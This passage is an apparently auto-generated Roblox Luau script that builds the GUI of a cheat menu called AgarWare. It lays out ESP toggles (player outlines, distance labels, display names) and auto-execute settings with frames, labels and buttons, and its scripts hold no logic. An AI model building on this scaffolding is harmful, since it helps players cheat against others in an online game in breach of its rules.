G2L["88"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["88"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["88"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["88"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["88"]["Name"] = [[ESPMaxDistRow]];
G2L["88"]["LayoutOrder"] = 2;
G2L["88"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistScript
G2L["89"] = Instance.new("LocalScript", G2L["88"]);
G2L["89"]["Name"] = [[ESPMaxDistScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistTickBox
G2L["8a"] = Instance.new("TextButton", G2L["88"]);
G2L["8a"]["TextSize"] = 14;
G2L["8a"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["8a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["8a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["8a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["8a"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["8a"]["Text"] = [[?]];
G2L["8a"]["Name"] = [[ESPMaxDistTickBox]];
G2L["8a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDIstText
G2L["8b"] = Instance.new("TextLabel", G2L["88"]);
G2L["8b"]["BorderSizePixel"] = 0;
G2L["8b"]["TextSize"] = 14;
G2L["8b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["8b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8b"]["BackgroundTransparency"] = 1;
G2L["8b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["8b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8b"]["Text"] = [[Max Dist]];
G2L["8b"]["Name"] = [[ESPMaxDIstText]];
G2L["8b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistChanger
G2L["8c"] = Instance.new("TextBox", G2L["88"]);
G2L["8c"]["Name"] = [[ESPMaxDistChanger]];
G2L["8c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["8c"]["TextWrapped"] = true;
G2L["8c"]["TextSize"] = 14;
G2L["8c"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["8c"]["TextScaled"] = true;
G2L["8c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8c"]["ClearTextOnFocus"] = false;
G2L["8c"]["PlaceholderText"] = [[(1000)]];
G2L["8c"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["8c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["8c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["8c"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow
G2L["8d"] = Instance.new("Frame", G2L["7e"]);
G2L["8d"]["BorderSizePixel"] = 0;
G2L["8d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["8d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["8d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8d"]["Name"] = [[ESPDistanceRow]];
G2L["8d"]["LayoutOrder"] = 2;
G2L["8d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceScript
G2L["8e"] = Instance.new("LocalScript", G2L["8d"]);
G2L["8e"]["Name"] = [[ESPDistanceScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceTickBox
G2L["8f"] = Instance.new("TextButton", G2L["8d"]);
G2L["8f"]["TextSize"] = 14;
G2L["8f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["8f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["8f"]["Text"] = [[]];
G2L["8f"]["Name"] = [[ESPDistanceTickBox]];
G2L["8f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceText
G2L["90"] = Instance.new("TextLabel", G2L["8d"]);
G2L["90"]["BorderSizePixel"] = 0;
G2L["90"]["TextSize"] = 14;
G2L["90"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["90"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["90"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["90"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["90"]["BackgroundTransparency"] = 1;
G2L["90"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["90"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["90"]["Text"] = [[Distance Label]];
G2L["90"]["Name"] = [[ESPDistanceText]];
G2L["90"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow
G2L["91"] = Instance.new("Frame", G2L["7e"]);
G2L["91"]["BorderSizePixel"] = 0;
G2L["91"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["91"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["91"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["91"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["91"]["Name"] = [[ESPOutlineRow]];
G2L["91"]["LayoutOrder"] = 2;
G2L["91"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineScript
G2L["92"] = Instance.new("LocalScript", G2L["91"]);
G2L["92"]["Name"] = [[ESPOutlineScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineTickBox
G2L["93"] = Instance.new("TextButton", G2L["91"]);
G2L["93"]["TextSize"] = 14;
G2L["93"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["93"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["93"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["93"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["93"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["93"]["Text"] = [[]];
G2L["93"]["Name"] = [[ESPOutlineTickBox]];
G2L["93"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineText
G2L["94"] = Instance.new("TextLabel", G2L["91"]);
G2L["94"]["BorderSizePixel"] = 0;
G2L["94"]["TextSize"] = 14;
G2L["94"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["94"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["94"]["BackgroundTransparency"] = 1;
G2L["94"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["94"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["94"]["Text"] = [[Player Outline]];
G2L["94"]["Name"] = [[ESPOutlineText]];
G2L["94"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide
G2L["95"] = Instance.new("Frame", G2L["7b"]);
G2L["95"]["BorderSizePixel"] = 0;
G2L["95"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["95"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["95"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["95"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["95"]["Name"] = [[VisualRightSide]];
G2L["95"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.UIListLayout
G2L["96"] = Instance.new("UIListLayout", G2L["95"]);
G2L["96"]["Padding"] = UDim.new(0, 7);
G2L["96"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup
G2L["97"] = Instance.new("Frame", G2L["95"]);
G2L["97"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["97"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["97"]["Size"] = UDim2.new(0, 170, 0, 65);
G2L["97"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["97"]["Name"] = [[ESPSGroup]];
G2L["97"]["LayoutOrder"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSScript
G2L["98"] = Instance.new("LocalScript", G2L["97"]);
G2L["98"]["Name"] = [[ESPSScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.UIListLayout
G2L["99"] = Instance.new("UIListLayout", G2L["97"]);
G2L["99"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSAccentColor
G2L["9a"] = Instance.new("Frame", G2L["97"]);
G2L["9a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["9a"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["9a"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["9a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["9a"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["9a"]["Name"] = [[ESPSAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSTitle
G2L["9b"] = Instance.new("TextLabel", G2L["97"]);
G2L["9b"]["TextWrapped"] = true;
G2L["9b"]["BorderSizePixel"] = 0;
G2L["9b"]["TextSize"] = 14;
G2L["9b"]["TextScaled"] = true;
G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9b"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["9b"]["BackgroundTransparency"] = 0.95;
G2L["9b"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["9b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9b"]["Text"] = [[ESP Settings]];
G2L["9b"]["LayoutOrder"] = 1;
G2L["9b"]["Name"] = [[ESPSTitle]];
G2L["9b"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSTitle.ESPSMinimize
G2L["9c"] = Instance.new("TextButton", G2L["9b"]);
G2L["9c"]["BorderSizePixel"] = 0;
G2L["9c"]["TextSize"] = 14;
G2L["9c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9c"]["BackgroundTransparency"] = 1;
G2L["9c"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["9c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9c"]["Text"] = [[-]];
G2L["9c"]["Name"] = [[ESPSMinimize]];
G2L["9c"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow
G2L["9d"] = Instance.new("Frame", G2L["97"]);
G2L["9d"]["BorderSizePixel"] = 0;
G2L["9d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["9d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["9d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9d"]["Name"] = [[ESPEnableRow]];
G2L["9d"]["LayoutOrder"] = 3;
G2L["9d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableScript
G2L["9e"] = Instance.new("LocalScript", G2L["9d"]);
G2L["9e"]["Name"] = [[ESPEnableScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableTickBox
G2L["9f"] = Instance.new("TextButton", G2L["9d"]);
G2L["9f"]["TextSize"] = 14;
G2L["9f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["9f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["9f"]["Text"] = [[]];
G2L["9f"]["Name"] = [[ESPEnableTickBox]];
G2L["9f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableText
G2L["a0"] = Instance.new("TextLabel", G2L["9d"]);
G2L["a0"]["BorderSizePixel"] = 0;
G2L["a0"]["TextSize"] = 14;
G2L["a0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["a0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a0"]["BackgroundTransparency"] = 1;
G2L["a0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["a0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a0"]["Text"] = [[Enable ESP]];
G2L["a0"]["Name"] = [[ESPEnableText]];
G2L["a0"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow
G2L["a1"] = Instance.new("Frame", G2L["97"]);
G2L["a1"]["BorderSizePixel"] = 0;
G2L["a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a1"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["a1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a1"]["Name"] = [[ESPUserRow]];
G2L["a1"]["LayoutOrder"] = 3;
G2L["a1"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserScript
G2L["a2"] = Instance.new("LocalScript", G2L["a1"]);
G2L["a2"]["Name"] = [[ESPUserScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserTickBox
G2L["a3"] = Instance.new("TextButton", G2L["a1"]);
G2L["a3"]["TextSize"] = 14;
G2L["a3"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a3"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["a3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["a3"]["Text"] = [[]];
G2L["a3"]["Name"] = [[ESPUserTickBox]];
G2L["a3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserText
G2L["a4"] = Instance.new("TextLabel", G2L["a1"]);
G2L["a4"]["BorderSizePixel"] = 0;
G2L["a4"]["TextSize"] = 14;
G2L["a4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["a4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a4"]["BackgroundTransparency"] = 1;
G2L["a4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["a4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a4"]["Text"] = [[Show Display Names]];
G2L["a4"]["Name"] = [[ESPUserText]];
G2L["a4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage
G2L["a5"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["a5"]["Visible"] = false;
G2L["a5"]["Active"] = true;
G2L["a5"]["BorderSizePixel"] = 0;
G2L["a5"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["a5"]["Name"] = [[SettingsPage]];
G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a5"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["a5"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["ScrollBarThickness"] = 0;
G2L["a5"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide
G2L["a6"] = Instance.new("Frame", G2L["a5"]);
G2L["a6"]["BorderSizePixel"] = 0;
G2L["a6"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["a6"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["a6"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a6"]["Name"] = [[SettingsLeftSide]];
G2L["a6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.UIListLayout
G2L["a7"] = Instance.new("UIListLayout", G2L["a6"]);
G2L["a7"]["Padding"] = UDim.new(0, 7);
G2L["a7"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup
G2L["a8"] = Instance.new("Frame", G2L["a6"]);
G2L["a8"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["a8"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["a8"]["Size"] = UDim2.new(0, 170, 0, 65);
G2L["a8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["a8"]["Name"] = [[MainSettingsGroup]];
G2L["a8"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsScript
G2L["a9"] = Instance.new("LocalScript", G2L["a8"]);
G2L["a9"]["Name"] = [[MainSettingsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTooltip
G2L["aa"] = Instance.new("LocalScript", G2L["a8"]);
G2L["aa"]["Name"] = [[MainSettingsTooltip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.UIListLayout
G2L["ab"] = Instance.new("UIListLayout", G2L["a8"]);
G2L["ab"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsAccentColor
G2L["ac"] = Instance.new("Frame", G2L["a8"]);
G2L["ac"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["ac"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["ac"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["ac"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["ac"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["ac"]["Name"] = [[MainSettingsAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTitle
G2L["ad"] = Instance.new("TextLabel", G2L["a8"]);
G2L["ad"]["TextWrapped"] = true;
G2L["ad"]["BorderSizePixel"] = 0;
G2L["ad"]["TextSize"] = 14;
G2L["ad"]["TextScaled"] = true;
G2L["ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ad"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["ad"]["BackgroundTransparency"] = 0.95;
G2L["ad"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ad"]["Text"] = [[Main Settings]];
G2L["ad"]["LayoutOrder"] = 1;
G2L["ad"]["Name"] = [[MainSettingsTitle]];
G2L["ad"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTitle.MainSettingsMinimize
G2L["ae"] = Instance.new("TextButton", G2L["ad"]);
G2L["ae"]["BorderSizePixel"] = 0;
G2L["ae"]["TextSize"] = 14;
G2L["ae"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ae"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ae"]["BackgroundTransparency"] = 1;
G2L["ae"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["ae"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ae"]["Text"] = [[-]];
G2L["ae"]["Name"] = [[MainSettingsMinimize]];
G2L["ae"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow
G2L["af"] = Instance.new("Frame", G2L["a8"]);
G2L["af"]["BorderSizePixel"] = 0;
G2L["af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["af"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["af"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["af"]["Name"] = [[SaveScriptsRow]];
G2L["af"]["LayoutOrder"] = 3;
G2L["af"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsScript
G2L["b0"] = Instance.new("LocalScript", G2L["af"]);
G2L["b0"]["Name"] = [[SaveScriptsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsTickBox
G2L["b1"] = Instance.new("TextButton", G2L["af"]);
G2L["b1"]["TextSize"] = 14;
G2L["b1"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["b1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b1"]["Text"] = [[]];
G2L["b1"]["Name"] = [[SaveScriptsTickBox]];
G2L["b1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsText
G2L["b2"] = Instance.new("TextLabel", G2L["af"]);
G2L["b2"]["BorderSizePixel"] = 0;
G2L["b2"]["TextSize"] = 14;
G2L["b2"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["b2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b2"]["BackgroundTransparency"] = 1;
G2L["b2"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["b2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b2"]["Text"] = [[Auto Load Scripts]];
G2L["b2"]["Name"] = [[SaveScriptsText]];
G2L["b2"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow
G2L["b3"] = Instance.new("Frame", G2L["a8"]);
G2L["b3"]["BorderSizePixel"] = 0;
G2L["b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b3"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["b3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b3"]["Name"] = [[AutoExecuteRow]];
G2L["b3"]["LayoutOrder"] = 3;
G2L["b3"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteScript
G2L["b4"] = Instance.new("LocalScript", G2L["b3"]);
G2L["b4"]["Name"] = [[AutoExecuteScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteTickBox
G2L["b5"] = Instance.new("TextButton", G2L["b3"]);
G2L["b5"]["TextSize"] = 14;
G2L["b5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b5"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["b5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b5"]["Text"] = [[]];
G2L["b5"]["Name"] = [[AutoExecuteTickBox]];
G2L["b5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteText
G2L["b6"] = Instance.new("TextLabel", G2L["b3"]);
G2L["b6"]["BorderSizePixel"] = 0;
G2L["b6"]["TextSize"] = 14;
G2L["b6"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
